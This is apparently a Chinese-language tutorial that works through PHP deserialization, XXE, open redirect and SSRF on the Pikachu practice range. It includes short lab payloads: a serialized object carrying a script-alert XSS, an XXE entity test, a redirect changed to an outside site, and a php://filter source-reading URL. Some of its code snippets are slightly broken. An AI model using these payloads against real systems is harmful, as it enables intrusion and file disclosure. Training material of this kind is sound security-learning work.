$u=unserialize('O:1:'S':1:{s:4:'test';s:7:'pikachu';}');
echo $u->test; //得到的结果为pikachu
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
漏洞举例:
class S{
var $test = 'pikachu';
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:'S':1:{s:4:'test';s:29:'<script>alert('xss')</script>';}
随意输入一串字符,都会提示一句话。
O:1:'s':1:{s:4:'test';s:30:'<script>alert('fxlh')</script>';}
然后将该序列化后的类传入后台,后台接受后就会将接受到的类进行反序列化,在后面接着使用。
XXE -“xml external entity injection”
既'xml外部实体注入漏洞'。
概括一下就是'攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题'
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
xml:
<!--第一部分: XML声明-- >
<?xml version='1.0'?>
<!--第二部分:文档类型定义DTID- >
<!DOCTYPE note[ <!--定义此文档是 note类型的文档-->
<!ENTITY entity - name SYSTEM 'URL/URL'> <!- 外部实体声 明-->
]]>
<1--第三部分:文档元>
<note>
<to>Dave</to>
<from> Tom</from>
<head> Reminder </head>
<body>You are a good man</body>
</note>
DTD:Document Type Definition即文档类型定义,用来为XML文档定义语义约束。
1.DTD内部声明
<!DOCTYPE 根元素[元素声明]>
2. DTD外部引用
<!DOCTYPE根元素名称SYSTEM “'外部DTD的URI' >
3.引用公共DTD
<!DOCTYPE根元素名称PUBLIC 'DTD标识名” “公用DTD的URI” >
如果一个接口支持接收xml数据,且没有对xml数据做任何安全上的措施,就可
能导致XXE漏洞。
simplexml load string()函数转换形式良好的XML字符串为SimpleXMLElement对象
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的XML。
我们输入
<?xml version = '1.0'?>
<!DOCTYPE note [ <!ENTITY hacker 'xxe'> ]>
<name>&hacker;</name>
不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生'跳错对象'的问题。
url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
这个漏洞比较简单,come on,来测一把!
看到有一些超链接,我们都点一遍可以发现,最后一个好像有个url的值,我们修改成https://www.baidu.com/,可以发现它跳转成https://www.baidu.com/页面了
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。
打开ssrf(curl),点击a标签,显示一首诗。
php://filter/read=convert.base64-encode/resource=ssrf.php
Web安全从入门到放弃:https://www.ichunqiu.com/course/63838
皮卡丘靶场:https://github.com/zhuifengshaonianhanlu/pikachu
w3school HTML DOM:https://www.w3school.com.cn/js/js_htmldom.asp
联系客服